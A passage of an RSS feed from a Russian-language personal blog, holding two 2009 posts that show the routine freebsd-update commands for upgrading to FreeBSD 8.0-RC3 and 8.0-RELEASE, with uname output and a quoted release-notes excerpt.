		<feedburner:origLink>http://www.denn.dp.ua/2009/11/make-love-not-war/</feedburner:origLink></item>
		<item>
		<title>FreeBSD 8.0-RELEASE</title>
		<link>http://feedproxy.google.com/~r/denn/~3/fzRXabMsDBs/</link>
		<comments>http://www.denn.dp.ua/2009/11/frebsd-8-release/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 10:48:02 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[unix]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[update]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=154</guid>
		<description><![CDATA[На оффсайте еще нет новости. Видимо жду пока iso синхронизируют со всеми зеркалами. На русском ftp уже доступен образ. А мы тем временем делаем freebsd-update: freebsd-update -r 8.0-RELEASE upgrade freebsd-update install reboot freebsd-update install uname -v FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC What&#8217;s New This section describes the most user-visible new [...]


Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://www.freebsd.org/logo/logo-full.png" alt="FreeBSD "  /></p>
<p>На оффсайте еще нет новости. Видимо жду пока iso синхронизируют со всеми зеркалами.</p>
<p>На русском <a href="ftp://ftp.ru.freebsd.org/pub/FreeBSD/ISO-IMAGES-i386/8.0/">ftp</a> уже доступен образ.</p>
<p>А мы тем временем делаем freebsd-update:<br />
<span id="more-154"></span></p>
<pre>freebsd-update -r 8.0-RELEASE upgrade
freebsd-update install
reboot
freebsd-update install
uname -v
FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC</pre>
<blockquote><p>What&#8217;s New</p>
<p>This section describes the most user-visible new or changed<br />
features in FreeBSD since 7.2-RELEASE. In general, changes<br />
described here are unique to the 8.0-STABLE branch unless<br />
specifically marked as MERGED features.</p>
<p>Typical release note items document recent security advisories<br />
issued after 7.2-RELEASE, new drivers or hardware support, new<br />
commands or options, major bug fixes, or contributed software<br />
upgrades. They may also list changes to major ports/packages or<br />
release engineering practices. Clearly the release notes cannot<br />
list every single change made to FreeBSD between releases; this<br />
document focuses primarily on security advisories, user-visible<br />
changes, and major architectural improvements.</p></blockquote>


<p>Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol></p><img src="http://feeds.feedburner.com/~r/denn/~4/fzRXabMsDBs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2009/11/frebsd-8-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2009/11/frebsd-8-release/</feedburner:origLink></item>
		<item>
		<title>Upgrade to FreeBSD 8.0-RC3</title>
		<link>http://feedproxy.google.com/~r/denn/~3/00UTgQzRl5Q/</link>
		<comments>http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 12:37:52 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[RC3]]></category>
		<category><![CDATA[update]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=133</guid>
		<description><![CDATA[Быстренькое обновление: freebsd-update -r 8.0-RC3 upgrade freebsd-update install reboot freebsd-update install uname -a FreeBSD hostname 8.0-RC3 FreeBSD 8.0-RC3 #0: Tue Nov 10 07:50:36 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 p.s. пишут, что бывает после загрузки не видит загрузчик, то прийдется прописать /boot/loader. У меня все загрузилось но не увидело сетевую, перегрузился и все нормально. Магия ^_^ Related [...]


Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Быстренькое обновление:</p>
<pre>freebsd-update -r 8.0-RC3 upgrade
freebsd-update install
reboot
freebsd-update install
uname -a
FreeBSD hostname 8.0-RC3 FreeBSD 8.0-RC3 #0: Tue Nov 10 07:50:36 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386</pre>
<p>p.s. пишут, что бывает после загрузки не видит загрузчик, то прийдется прописать <em>/boot/loader</em>.<br />
У меня все загрузилось но не увидело сетевую, перегрузился и все нормально. Магия ^_^</p>


<p>Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol></p><img src="http://feeds.feedburner.com/~r/denn/~4/00UTgQzRl5Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/</feedburner:origLink></item>
	</channel>
</rss>

